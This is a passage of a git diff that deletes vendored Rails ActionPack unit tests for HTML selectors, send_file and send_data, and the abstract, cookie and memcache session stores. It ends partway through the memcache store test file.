-    assert_equal "2", @matches[0].attributes["id"]
-    # Before first and past last returns nothing.:
-    assert_raise(ArgumentError) { select("tr:nth-child(-1)") }
-    select("tr:nth-child(0)")
-    assert_equal 0, @matches.size
-    select("tr:nth-child(5)")
-    assert_equal 0, @matches.size
-  end
-
-
-  def test_nth_child_a_is_one
-    parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
-    # a is group of one, pick every element in group.
-    select("tr:nth-child(1n+0)")
-    assert_equal 4, @matches.size
-    # Same but a can be omitted when one.
-    select("tr:nth-child(n+0)")
-    assert_equal 4, @matches.size
-    # Same but b can be omitted when zero.
-    select("tr:nth-child(n)")
-    assert_equal 4, @matches.size
-  end
-
-
-  def test_nth_child_b_is_zero
-    parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
-    # If b is zero, pick the n-th element (here each one).
-    select("tr:nth-child(n+0)")
-    assert_equal 4, @matches.size
-    # If b is zero, pick the n-th element (here every second).
-    select("tr:nth-child(2n+0)")
-    assert_equal 2, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal "3", @matches[1].attributes["id"]
-    # If a and b are both zero, no element selected.
-    select("tr:nth-child(0n+0)")
-    assert_equal 0, @matches.size
-    select("tr:nth-child(0)")
-    assert_equal 0, @matches.size
-  end
-
-
-  def test_nth_child_a_is_negative
-    parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
-    # Since a is -1, picks the first three elements.
-    select("tr:nth-child(-n+3)")
-    assert_equal 3, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal "2", @matches[1].attributes["id"]
-    assert_equal "3", @matches[2].attributes["id"]
-    # Since a is -2, picks the first in every second of first four elements.
-    select("tr:nth-child(-2n+3)")
-    assert_equal 2, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal "3", @matches[1].attributes["id"]
-    # Since a is -2, picks the first in every second of first three elements.
-    select("tr:nth-child(-2n+2)")
-    assert_equal 1, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-  end
-
-
-  def test_nth_child_b_is_negative
-    parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
-    # Select last of four.
-    select("tr:nth-child(4n-1)")
-    assert_equal 1, @matches.size
-    assert_equal "4", @matches[0].attributes["id"]
-    # Select first of four.
-    select("tr:nth-child(4n-4)")
-    assert_equal 1, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    # Select last of every second.
-    select("tr:nth-child(2n-1)")
-    assert_equal 2, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    assert_equal "4", @matches[1].attributes["id"]
-    # Select nothing since an+b always < 0
-    select("tr:nth-child(-1n-1)")
-    assert_equal 0, @matches.size
-  end
-
-
-  def test_nth_child_substitution_values
-    parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
-    # Test with ?n?.
-    select("tr:nth-child(?n?)", 2, 1)
-    assert_equal 2, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal "3", @matches[1].attributes["id"]
-    select("tr:nth-child(?n?)", 2, 2)
-    assert_equal 2, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    assert_equal "4", @matches[1].attributes["id"]
-    select("tr:nth-child(?n?)", 4, 2)
-    assert_equal 1, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    # Test with ? (b only).
-    select("tr:nth-child(?)", 3)
-    assert_equal 1, @matches.size
-    assert_equal "3", @matches[0].attributes["id"]
-    select("tr:nth-child(?)", 5)
-    assert_equal 0, @matches.size
-  end
-
-
-  def test_nth_last_child
-    parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
-    # Last two elements.
-    select("tr:nth-last-child(-n+2)")
-    assert_equal 2, @matches.size
-    assert_equal "3", @matches[0].attributes["id"]
-    assert_equal "4", @matches[1].attributes["id"]
-    # All old elements counting from last one.
-    select("tr:nth-last-child(odd)")
-    assert_equal 2, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    assert_equal "4", @matches[1].attributes["id"]
-  end
-
-
-  def test_nth_of_type
-    parse(%Q{<table><thead></thead><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
-    # First two elements.
-    select("tr:nth-of-type(-n+2)")
-    assert_equal 2, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal "2", @matches[1].attributes["id"]
-    # All old elements counting from last one.
-    select("tr:nth-last-of-type(odd)")
-    assert_equal 2, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    assert_equal "4", @matches[1].attributes["id"]
-  end
-
-  
-  def test_first_and_last
-    parse(%Q{<table><thead></thead><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
-    # First child.
-    select("tr:first-child")
-    assert_equal 0, @matches.size
-    select(":first-child")
-    assert_equal 1, @matches.size
-    assert_equal "thead", @matches[0].name
-    # First of type.
-    select("tr:first-of-type")
-    assert_equal 1, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    select("thead:first-of-type")
-    assert_equal 1, @matches.size
-    assert_equal "thead", @matches[0].name
-    select("div:first-of-type")
-    assert_equal 0, @matches.size
-    # Last child.
-    select("tr:last-child")
-    assert_equal 1, @matches.size
-    assert_equal "4", @matches[0].attributes["id"]
-    # Last of type.
-    select("tr:last-of-type")
-    assert_equal 1, @matches.size
-    assert_equal "4", @matches[0].attributes["id"]
-    select("thead:last-of-type")
-    assert_equal 1, @matches.size
-    assert_equal "thead", @matches[0].name
-    select("div:last-of-type")
-    assert_equal 0, @matches.size
-  end
-
-
-  def test_first_and_last
-    # Only child.
-    parse(%Q{<table><tr></tr></table>})
-    select("table:only-child")
-    assert_equal 0, @matches.size
-    select("tr:only-child")
-    assert_equal 1, @matches.size
-    assert_equal "tr", @matches[0].name
-    parse(%Q{<table><tr></tr><tr></tr></table>})
-    select("tr:only-child")
-    assert_equal 0, @matches.size
-    # Only of type.
-    parse(%Q{<table><thead></thead><tr></tr><tr></tr></table>})
-    select("thead:only-of-type")
-    assert_equal 1, @matches.size
-    assert_equal "thead", @matches[0].name
-    select("td:only-of-type")
-    assert_equal 0, @matches.size
-  end
-
-
-  def test_empty
-    parse(%Q{<table><tr></tr></table>})
-    select("table:empty")
-    assert_equal 0, @matches.size
-    select("tr:empty")
-    assert_equal 1, @matches.size
-    parse(%Q{<div> </div>})
-    select("div:empty")
-    assert_equal 1, @matches.size
-  end
-
-  
-  def test_content
-    parse(%Q{<div> </div>})
-    select("div:content()")
-    assert_equal 1, @matches.size
-    parse(%Q{<div>something </div>})
-    select("div:content()")
-    assert_equal 0, @matches.size
-    select("div:content(something)")
-    assert_equal 1, @matches.size
-    select("div:content( 'something' )")
-    assert_equal 1, @matches.size
-    select("div:content( \"something\" )")
-    assert_equal 1, @matches.size
-    select("div:content(?)", "something")
-    assert_equal 1, @matches.size
-    select("div:content(?)", /something/)
-    assert_equal 1, @matches.size
-  end
-
-
-  #
-  # Test negation.
-  #
-
-
-  def test_element_negation
-    parse(%Q{<p></p><div></div>})
-    select("*")
-    assert_equal 2, @matches.size
-    select("*:not(p)")
-    assert_equal 1, @matches.size
-    assert_equal "div", @matches[0].name
-    select("*:not(div)")
-    assert_equal 1, @matches.size
-    assert_equal "p", @matches[0].name
-    select("*:not(span)")
-    assert_equal 2, @matches.size
-  end
-
-
-  def test_id_negation
-    parse(%Q{<p id="1"></p><p id="2"></p>})
-    select("p")
-    assert_equal 2, @matches.size
-    select(":not(#1)")
-    assert_equal 1, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    select(":not(#2)")
-    assert_equal 1, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-  end
-
-
-  def test_class_name_negation
-    parse(%Q{<p class="foo"></p><p class="bar"></p>})
-    select("p")
-    assert_equal 2, @matches.size
-    select(":not(.foo)")
-    assert_equal 1, @matches.size
-    assert_equal "bar", @matches[0].attributes["class"]
-    select(":not(.bar)")
-    assert_equal 1, @matches.size
-    assert_equal "foo", @matches[0].attributes["class"]
-  end
-
-
-  def test_attribute_negation
-    parse(%Q{<p title="foo"></p><p title="bar"></p>})
-    select("p")
-    assert_equal 2, @matches.size
-    select(":not([title=foo])")
-    assert_equal 1, @matches.size
-    assert_equal "bar", @matches[0].attributes["title"]
-    select(":not([title=bar])")
-    assert_equal 1, @matches.size
-    assert_equal "foo", @matches[0].attributes["title"]
-  end
-
-  
-  def test_pseudo_class_negation
-    parse(%Q{<div><p id="1"></p><p id="2"></p></div>})
-    select("p")
-    assert_equal 2, @matches.size
-    select("p:not(:first-child)")
-    assert_equal 1, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    select("p:not(:nth-child(2))")
-    assert_equal 1, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-  end
-  
-
-  def test_negation_details
-    parse(%Q{<p id="1"></p><p id="2"></p><p id="3"></p>})
-    assert_raise(ArgumentError) { select(":not(") }
-    assert_raise(ArgumentError) { select(":not(:not())") }
-    select("p:not(#1):not(#3)")
-    assert_equal 1, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-  end
-
-
-  def test_select_from_element
-    parse(%Q{<div><p id="1"></p><p id="2"></p></div>})
-    select("div")
-    @matches = @matches[0].select("p")
-    assert_equal 2, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal "2", @matches[1].attributes["id"]
-  end
-
-
-protected
-
-  def parse(html)
-    @html = HTML::Document.new(html).root
-  end
-
-  def select(*selector)
-    @matches = HTML.selector(*selector).select(@html)
-  end
-
-end
diff --git a/vendor/rails/actionpack/test/controller/send_file_test.rb b/vendor/rails/actionpack/test/controller/send_file_test.rb
deleted file mode 100644
index a8e1afc7..00000000
--- a/vendor/rails/actionpack/test/controller/send_file_test.rb
+++ /dev/null
@@ -1,171 +0,0 @@
-# encoding: utf-8
-require 'abstract_unit'
-
-module TestFileUtils
-  def file_name() File.basename(__FILE__) end
-  def file_path() File.expand_path(__FILE__) end
-  def file_data() @data ||= File.open(file_path, 'rb') { |f| f.read } end
-end
-
-class SendFileController < ActionController::Base
-  include TestFileUtils
-  layout "layouts/standard" # to make sure layouts don't interfere
-
-  attr_writer :options
-  def options() @options ||= {} end
-
-  def file() send_file(file_path, options) end
-  def data() send_data(file_data, options) end
-  def multibyte_text_data() send_data("Кирилица\n祝您好運", options) end
-
-  def rescue_action(e) raise end
-end
-
-class SendFileTest < ActionController::TestCase
-  tests SendFileController
-  include TestFileUtils
-
-  Mime::Type.register "image/png", :png unless defined? Mime::PNG
-
-  def setup
-    @controller = SendFileController.new
-    @request = ActionController::TestRequest.new
-    @response = ActionController::TestResponse.new
-  end
-
-  def test_file_nostream
-    @controller.options = { :stream => false }
-    response = nil
-    assert_nothing_raised { response = process('file') }
-    assert_not_nil response
-    assert_kind_of String, response.body
-    assert_equal file_data, response.body
-  end
-
-  def test_file_stream
-    response = nil
-    assert_nothing_raised { response = process('file') }
-    assert_not_nil response
-    assert_kind_of Proc, response.body
-
-    require 'stringio'
-    output = StringIO.new
-    output.binmode
-    output.string.force_encoding(file_data.encoding) if output.string.respond_to?(:force_encoding)
-    assert_nothing_raised { response.body.call(response, output) }
-    assert_equal file_data, output.string
-  end
-
-  def test_file_url_based_filename
-    @controller.options = { :url_based_filename => true }
-    response = nil
-    assert_nothing_raised { response = process('file') }
-    assert_not_nil response
-    assert_equal "attachment", response.headers["Content-Disposition"]
-  end
-
-  def test_x_sendfile_header
-    @controller.options = { :x_sendfile => true }
-
-    response = nil
-    assert_nothing_raised { response = process('file') }
-    assert_not_nil response
-
-    assert_equal @controller.file_path, response.headers['X-Sendfile']
-    assert response.body.blank?
-    assert !response.etag?, response.headers.inspect
-  end
-
-  def test_data
-    response = nil
-    assert_nothing_raised { response = process('data') }
-    assert_not_nil response
-
-    assert_kind_of String, response.body
-    assert_equal file_data, response.body
-  end
-
-  def test_headers_after_send_shouldnt_include_charset
-    response = process('data')
-    assert_equal "application/octet-stream", response.content_type
-
-    response = process('file')
-    assert_equal "application/octet-stream", response.content_type
-  end
-
-  # Test that send_file_headers! is setting the correct HTTP headers.
-  def test_send_file_headers!
-    options = {
-      :length => 1,
-      :type => Mime::PNG,
-      :disposition => 'disposition',
-      :filename => 'filename'
-    }
-
-    # Do it a few times: the resulting headers should be identical
-    # no matter how many times you send with the same options.
-    # Test resolving Ticket #458.
-    @controller.headers = {}
-    @controller.send(:send_file_headers!, options)
-    @controller.send(:send_file_headers!, options)
-    @controller.send(:send_file_headers!, options)
-
-    h = @controller.headers
-    assert_equal '1', h['Content-Length']
-    assert_equal 'image/png', h['Content-Type']
-    assert_equal 'disposition; filename="filename"', h['Content-Disposition']
-    assert_equal 'binary', h['Content-Transfer-Encoding']
-
-    # test overriding Cache-Control: no-cache header to fix IE open/save dialog
-    @controller.headers = { 'Cache-Control' => 'no-cache' }
-    @controller.send(:send_file_headers!, options)
-    h = @controller.headers
-    assert_equal 'private', h['Cache-Control']
-  end
-
-  def test_send_file_headers_with_mime_lookup_with_symbol
-    options = {
-      :length => 1,
-      :type => :png
-    }
-
-    @controller.headers = {}
-    @controller.send(:send_file_headers!, options)
-
-    headers = @controller.headers
-
-    assert_equal 'image/png', headers['Content-Type']
-  end
-  
-
-  def test_send_file_headers_with_bad_symbol
-    options = {
-      :length => 1,
-      :type => :this_type_is_not_registered
-    }
-
-    @controller.headers = {}
-    assert_raise(ArgumentError){ @controller.send(:send_file_headers!, options) }
-  end
-
-  %w(file data).each do |method|
-    define_method "test_send_#{method}_status" do
-      @controller.options = { :stream => false, :status => 500 }
-      assert_nothing_raised { assert_not_nil process(method) }
-      assert_equal '500 Internal Server Error', @response.status
-    end
-
-    define_method "test_default_send_#{method}_status" do
-      @controller.options = { :stream => false }
-      assert_nothing_raised { assert_not_nil process(method) }
-      assert_equal ActionController::Base::DEFAULT_RENDER_STATUS_CODE, @response.status
-    end
-  end
-
-  def test_send_data_content_length_header
-    @controller.headers = {}
-    @controller.options = { :type => :text, :filename => 'file_with_utf8_text' }
-    process('multibyte_text_data')
-    assert_equal '29', @controller.headers['Content-Length']
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/session/abstract_store_test.rb b/vendor/rails/actionpack/test/controller/session/abstract_store_test.rb
deleted file mode 100644
index 2df66a2e..00000000
--- a/vendor/rails/actionpack/test/controller/session/abstract_store_test.rb
+++ /dev/null
@@ -1,64 +0,0 @@
-require 'abstract_unit'
-
-# You need to start a memcached server inorder to run these tests
-class AbstractStoreTest < ActionController::IntegrationTest
-  SessionKey = '_myapp_session'
-  DispatcherApp = ActionController::Dispatcher.new
-
-  class TestController < ActionController::Base
-    def get_session
-      session[:test] = 'test'
-      head :ok
-    end
-  end
-
-  def test_expiry_after
-    with_test_route_set(:expire_after => 5 * 60) do
-      get 'get_session'
-      assert_response :success
-      assert_match /expires=\S+/, headers['Set-Cookie']
-    end
-  end
-
-protected
-
-  def with_test_route_set(options = {})
-    with_routing do |set|
-      set.draw do |map|
-        map.with_options :controller => "abstract_store_test/test" do |c|
-          c.connect "/:action"
-        end
-      end
-
-      options = { :key => SessionKey, :secret => 'SessionSecret' }.merge!(options)
-      @integration_session = open_session(TestStore.new(DispatcherApp, options))
-
-      yield
-    end
-  end
-
-  class TestStore < ActionController::Session::AbstractStore
-    def initialize(app, options = {})
-      super
-      @_store = Hash.new({})
-    end
-
-  private
-
-    def get_session(env, sid)
-      sid ||= generate_sid
-      session = @_store[sid]
-      [sid, session]
-    end
-
-    def set_session(env, sid, session_data)
-      @_store[sid] = session_data
-    end
-
-    def destroy(env)
-      @_store.delete(sid)
-    end
-  end
-
-end
-
diff --git a/vendor/rails/actionpack/test/controller/session/cookie_store_test.rb b/vendor/rails/actionpack/test/controller/session/cookie_store_test.rb
deleted file mode 100644
index 8d02fffa..00000000
--- a/vendor/rails/actionpack/test/controller/session/cookie_store_test.rb
+++ /dev/null
@@ -1,354 +0,0 @@
-require 'abstract_unit'
-require 'stringio'
-
-class CookieStoreTest < ActionController::IntegrationTest
-  SessionKey = '_myapp_session'
-  SessionSecret = 'b3c631c314c0bbca50c1b2843150fe33'
-
-  DispatcherApp = ActionController::Dispatcher.new
-
-  Verifier = ActiveSupport::MessageVerifier.new(SessionSecret, 'SHA1')
-
-  SignedBar = "BAh7BjoIZm9vIghiYXI%3D--fef868465920f415f2c0652d6910d3af288a0367"
-
-  class TestController < ActionController::Base
-    def no_session_access
-      head :ok
-    end
-
-    def persistent_session_id
-      render :text => session[:session_id]
-    end
-
-    def set_session_value
-      session[:foo] = "bar"
-      render :text => Rack::Utils.escape(Verifier.generate(session.to_hash))
-    end
-
-    def get_session_value
-      render :text => "foo: #{session[:foo].inspect}"
-    end
-
-    def get_session_id
-      render :text => "foo: #{session[:foo].inspect}; id: #{request.session_options[:id]}"
-    end
-
-    def get_session_id_only
-      render :text => "id: #{request.session_options[:id]}"      
-    end
-
-    def call_session_clear
-      session.clear
-      head :ok
-    end
-
-    def call_reset_session_twice
-      reset_session
-      reset_session
-      head :ok
-    end
-
-    def call_reset_session
-      reset_session
-      head :ok
-    end
-
-    def raise_data_overflow
-      session[:foo] = 'bye!' * 1024
-      head :ok
-    end
-
-    def set_session_value_and_cookie
-      cookies["foo"] = "bar"
-      session[:foo] = "bar"
-      render :text => Rack::Utils.escape(Verifier.generate(session.to_hash))
-    end
-
-    def rescue_action(e) raise end
-  end
-
-  def test_raises_argument_error_if_missing_session_key
-    assert_raise(ArgumentError, nil.inspect) {
-      ActionController::Session::CookieStore.new(nil,
-        :key => nil, :secret => SessionSecret)
-    }
-
-    assert_raise(ArgumentError, ''.inspect) {
-      ActionController::Session::CookieStore.new(nil,
-        :key => '', :secret => SessionSecret)
-    }
-  end
-
-  def test_raises_argument_error_if_missing_secret
-    assert_raise(ArgumentError, nil.inspect) {
-      ActionController::Session::CookieStore.new(nil,
-       :key => SessionKey, :secret => nil)
-    }
-
-    assert_raise(ArgumentError, ''.inspect) {
-      ActionController::Session::CookieStore.new(nil,
-       :key => SessionKey, :secret => '')
-    }
-  end
-
-  def test_raises_argument_error_if_secret_is_probably_insecure
-    assert_raise(ArgumentError, "password".inspect) {
-      ActionController::Session::CookieStore.new(nil,
-       :key => SessionKey, :secret => "password")
-    }
-
-    assert_raise(ArgumentError, "secret".inspect) {
-      ActionController::Session::CookieStore.new(nil,
-       :key => SessionKey, :secret => "secret")
-    }
-
-    assert_raise(ArgumentError, "12345678901234567890123456789".inspect) {
-      ActionController::Session::CookieStore.new(nil,
-       :key => SessionKey, :secret => "12345678901234567890123456789")
-    }
-  end
-
-  def test_setting_session_value
-    with_test_route_set do
-      get '/set_session_value'
-      assert_response :success
-      assert_equal "_myapp_session=#{response.body}; path=/; HttpOnly",
-        headers['Set-Cookie']
-   end
-  end
-
-  def test_getting_session_value
-    with_test_route_set do
-      cookies[SessionKey] = SignedBar
-      get '/get_session_value'
-      assert_response :success
-      assert_equal 'foo: "bar"', response.body
-   end
-  end
-
-  def test_getting_session_id
-    with_test_route_set do
-      cookies[SessionKey] = SignedBar
-      get '/persistent_session_id'
-      assert_response :success
-      assert_equal response.body.size, 32
-      session_id = response.body
-
-      get '/get_session_id'
-      assert_response :success
-      assert_equal "foo: \"bar\"; id: #{session_id}", response.body
-      
-      get '/get_session_id_only'
-      assert_response :success
-      assert_equal "id: #{session_id}", response.body, "should be able to read session id without accessing the session hash"
-    end
-  end
-
-  def test_disregards_tampered_sessions
-    with_test_route_set do
-      cookies[SessionKey] = "BAh7BjoIZm9vIghiYXI%3D--123456780"
-      get '/get_session_value'
-      assert_response :success
-      assert_equal 'foo: nil', response.body
-    end
-  end
-
-  def test_does_not_set_secure_cookies_over_http
-    with_test_route_set(:secure => true) do
-      get '/set_session_value'
-      assert_response :success
-      assert_equal nil, headers['Set-Cookie']
-    end
-  end
-
-  def test_does_set_secure_cookies_over_https
-    with_test_route_set(:secure => true) do
-      get '/set_session_value', nil, 'HTTPS' => 'on'
-      assert_response :success
-      assert_equal "_myapp_session=#{response.body}; path=/; secure; HttpOnly",
-        headers['Set-Cookie']
-    end
-  end
-
-  def test_close_raises_when_data_overflows
-    with_test_route_set do
-      assert_raise(ActionController::Session::CookieStore::CookieOverflow) {
-        get '/raise_data_overflow'
-      }
-    end
-  end
-
-  def test_doesnt_write_session_cookie_if_session_is_not_accessed
-    with_test_route_set do
-      get '/no_session_access'
-      assert_response :success
-      assert_equal nil, headers['Set-Cookie']
-    end
-  end
-
-  def test_doesnt_write_session_cookie_if_session_is_unchanged
-    with_test_route_set do
-      cookies[SessionKey] = "BAh7BjoIZm9vIghiYXI%3D--" +
-        "fef868465920f415f2c0652d6910d3af288a0367"
-      get '/no_session_access'
-      assert_response :success
-      assert_equal nil, headers['Set-Cookie']
-    end
-  end
-
-  def test_calling_session_reset_twice
-    with_test_route_set do
-      get '/set_session_value'
-      assert_response :success
-      session_payload = response.body
-      assert_equal "_myapp_session=#{response.body}; path=/; HttpOnly",
-        headers['Set-Cookie']
-
-      get '/call_reset_session_twice'
-      assert_response :success
-      assert_not_equal "", headers['Set-Cookie']
-      assert_not_equal session_payload, cookies[SessionKey]
-
-      get '/get_session_value'
-      assert_response :success
-      assert_equal 'foo: nil', response.body
-    end
-  end
-
-  def test_setting_session_value_after_session_reset
-    with_test_route_set do
-      get '/set_session_value'
-      assert_response :success
-      session_payload = response.body
-      assert_equal "_myapp_session=#{response.body}; path=/; HttpOnly",
-        headers['Set-Cookie']
-
-      get '/call_reset_session'
-      assert_response :success
-      assert_not_equal "", headers['Set-Cookie']
-      assert_not_equal session_payload, cookies[SessionKey]
-
-      get '/get_session_value'
-      assert_response :success
-      assert_equal 'foo: nil', response.body
-    end
-  end
-
-  def test_setting_session_value_after_session_reset
-    with_test_route_set do
-      get '/set_session_value'
-      assert_response :success
-      session_payload = response.body
-      assert_equal "_myapp_session=#{response.body}; path=/; HttpOnly",
-        headers['Set-Cookie']
-
-      get '/call_reset_session'
-      assert_response :success
-      assert_not_equal "", headers['Set-Cookie']
-      assert_not_equal session_payload, cookies[SessionKey]
-
-      get '/get_session_value'
-      assert_response :success
-      assert_equal 'foo: nil', response.body
-    end
-  end
-
-  def test_setting_session_value_after_session_clear
-    with_test_route_set do
-      get '/set_session_value'
-      assert_response :success
-      session_payload = response.body
-      assert_equal "_myapp_session=#{response.body}; path=/; HttpOnly",
-        headers['Set-Cookie']
-
-      get '/call_session_clear'
-      assert_response :success
-
-      get '/get_session_value'
-      assert_response :success
-      assert_equal 'foo: nil', response.body
-    end
-  end
-
-  def test_getting_from_nonexistent_session
-    with_test_route_set do
-      get '/get_session_value'
-      assert_response :success
-      assert_equal 'foo: nil', response.body
-      assert_nil headers['Set-Cookie'], "should only create session on write, not read"
-    end
-  end
-
-  # {:foo=>#<SessionAutoloadTest::Foo bar:"baz">, :session_id=>"ce8b0752a6ab7c7af3cdb8a80e6b9e46"}  
-  SignedSerializedCookie = "BAh7BzoIZm9vbzodU2Vzc2lvbkF1dG9sb2FkVGVzdDo6Rm9vBjoJQGJhciIIYmF6Og9zZXNzaW9uX2lkIiVjZThiMDc1MmE2YWI3YzdhZjNjZGI4YTgwZTZiOWU0Ng==--2bf3af1ae8bd4e52b9ac2099258ace0c380e601c"
-  
-  def test_deserializes_unloaded_classes_on_get_id
-    with_test_route_set do
-      with_autoload_path "session_autoload_test" do
-        cookies[SessionKey] = SignedSerializedCookie
-        get '/get_session_id_only'
-        assert_response :success
-        assert_equal 'id: ce8b0752a6ab7c7af3cdb8a80e6b9e46', response.body, "should auto-load unloaded class"
-      end
-    end
-  end  
-  
-  def test_deserializes_unloaded_classes_on_get_value
-    with_test_route_set do
-      with_autoload_path "session_autoload_test" do 
-        cookies[SessionKey] = SignedSerializedCookie
-        get '/get_session_value'
-        assert_response :success
-        assert_equal 'foo: #<SessionAutoloadTest::Foo bar:"baz">', response.body, "should auto-load unloaded class"
-      end
-    end
-  end
-
-  def test_persistent_session_id
-    with_test_route_set do
-      cookies[SessionKey] = SignedBar
-      get '/persistent_session_id'
-      assert_response :success
-      assert_equal response.body.size, 32
-      session_id = response.body
-      get '/persistent_session_id'
-      assert_equal session_id, response.body
-      reset!
-      get '/persistent_session_id'
-      assert_not_equal session_id, response.body
-    end
-  end
-
-  def test_setting_session_value_and_cookie
-    with_test_route_set do
-      get '/set_session_value_and_cookie'
-      assert_response :success
-      assert_equal({"_myapp_session" => response.body, "foo" => "bar"}, cookies)
-    end
-  end
-
-  private
-    def with_test_route_set(options = {})
-      with_routing do |set|
-        set.draw do |map|
-          map.with_options :controller => "cookie_store_test/test" do |c|
-            c.connect "/:action"
-          end
-        end
-        
-        options = { :key => SessionKey, :secret => SessionSecret }.merge!(options)
-        @integration_session = open_session(ActionController::Session::CookieStore.new(DispatcherApp, options))
-        
-        yield
-      end
-    end
-
-    def unmarshal_session(cookie_string)
-      session = Rack::Utils.parse_query(cookie_string, ';,').inject({}) {|h,(k,v)|
-        h[k] = Array === v ? v.first : v
-        h
-      }[SessionKey]
-      verifier = ActiveSupport::MessageVerifier.new(SessionSecret, 'SHA1')
-      verifier.verify(session)
-    end
-end
diff --git a/vendor/rails/actionpack/test/controller/session/mem_cache_store_test.rb b/vendor/rails/actionpack/test/controller/session/mem_cache_store_test.rb
deleted file mode 100644
index 2714ee52..00000000
--- a/vendor/rails/actionpack/test/controller/session/mem_cache_store_test.rb
+++ /dev/null
@@ -1,187 +0,0 @@
-require 'abstract_unit'
-
-# You need to start a memcached server inorder to run these tests
-class MemCacheStoreTest < ActionController::IntegrationTest
-  class TestController < ActionController::Base
-    def no_session_access
-      head :ok
-    end
-
-    def set_session_value
-      session[:foo] = "bar"
-      head :ok
-    end
-
-    def set_serialized_session_value
-      session[:foo] = SessionAutoloadTest::Foo.new
-      head :ok
-    end
-
-    def get_session_value
-      render :text => "foo: #{session[:foo].inspect}"
-    end
-
-    def get_session_id
-      render :text => "#{request.session_options[:id]}"
-    end
-
-    def call_reset_session
-      session[:bar]
-      reset_session
-      session[:bar] = "baz"
-      head :ok
-    end
-
-    def rescue_action(e) raise end
-  end
-
-  begin
-    DispatcherApp = ActionController::Dispatcher.new
-
-    def test_setting_and_getting_session_value
-      with_test_route_set do
-        get '/set_session_value'
-        assert_response :success
-        assert cookies['_session_id']
-
-        get '/get_session_value'
-        assert_response :success
-        assert_equal 'foo: "bar"', response.body
-      end
-    end
-
-    def test_getting_nil_session_value
-      with_test_route_set do
-        get '/get_session_value'
-        assert_response :success
-        assert_equal 'foo: nil', response.body
-      end
-    end
-
-    def test_setting_session_value_after_session_reset
-      with_test_route_set do
-        get '/set_session_value'
-        assert_response :success
-        assert cookies['_session_id']
-        session_id = cookies['_session_id']
-
-        get '/call_reset_session'
-        assert_response :success
-        assert_not_equal [], headers['Set-Cookie']
-
-        get '/get_session_value'
-        assert_response :success
-        assert_equal 'foo: nil', response.body
-
-        get '/get_session_id'
-        assert_response :success
-        assert_not_equal session_id, response.body
-      end
-    end
-
-    def test_getting_session_value_after_session_reset
-      with_test_route_set do
-        get '/set_session_value'
-        assert_response :success
-        assert cookies['_session_id']
-        session_id = cookies["_session_id"]
-
-        get '/call_reset_session'
-        assert_response :success
-        assert_not_equal [], headers['Set-Cookie']
-
-        cookies["_session_id"] = session_id # replace our new session_id with our old, pre-reset session_id
-
-        get '/get_session_value'
-        assert_response :success
-        assert_equal 'foo: nil', response.body, "data for this session should have been obliterated from memcached"
-      end
-    end
-
-    def test_getting_from_nonexistent_session
-      with_test_route_set do
-        get '/get_session_value'
-        assert_response :success
-        assert_equal 'foo: nil', response.body
-        assert_nil cookies['_session_id'], "should only create session on write, not read"
-      end
-    end
-
-    def test_getting_session_id
-      with_test_route_set do
-        get '/set_session_value'
-        assert_response :success
-        assert cookies['_session_id']
-        session_id = cookies['_session_id']
-
-        get '/get_session_id'
-        assert_response :success
-        assert_equal session_id, response.body, "should be able to read session id without accessing the session hash"
-      end
-    end
-
-    def test_doesnt_write_session_cookie_if_session_id_is_already_exists
-      with_test_route_set do
-        get '/set_session_value'
-        assert_response :success
-        assert cookies['_session_id']
-
-        get '/get_session_value'
-        assert_response :success
-        assert_equal nil, headers['Set-Cookie'], "should not resend the cookie again if session_id cookie is already exists"
-      end
-    end
-    
-    def test_deserializes_unloaded_class
-      with_test_route_set do
-        with_autoload_path "session_autoload_test" do        
-          get '/set_serialized_session_value'
-          assert_response :success
-          assert cookies['_session_id']
-        end
-        with_autoload_path "session_autoload_test" do                
-          get '/get_session_id'
-          assert_response :success
-        end
-        with_autoload_path "session_autoload_test" do                
-          get '/get_session_value'
-          assert_response :success
-          assert_equal 'foo: #<SessionAutoloadTest::Foo bar:"baz">', response.body, "should auto-load unloaded class"
-        end
-      end
-    end
-
-    def test_prevents_session_fixation
-      with_test_route_set do
-        get '/get_session_value'
-        assert_response :success
-        assert_equal 'foo: nil', response.body
-        session_id = cookies['_session_id']
-
-        reset!
-
-        get '/set_session_value', :_session_id => session_id
-        assert_response :success
-        assert_equal nil, cookies['_session_id']
-      end
-    end
-  rescue LoadError, RuntimeError
-    $stderr.puts "Skipping MemCacheStoreTest tests. Start memcached and try again."
-  end
-
-  private
-    def with_test_route_set(options = {})
-      with_routing do |set|
-        set.draw do |map|
-          map.with_options :controller => "mem_cache_store_test/test" do |c|
-            c.connect "/:action"
-          end
-        end
-        
-        options = { :key => '_session_id' }.merge!(options)
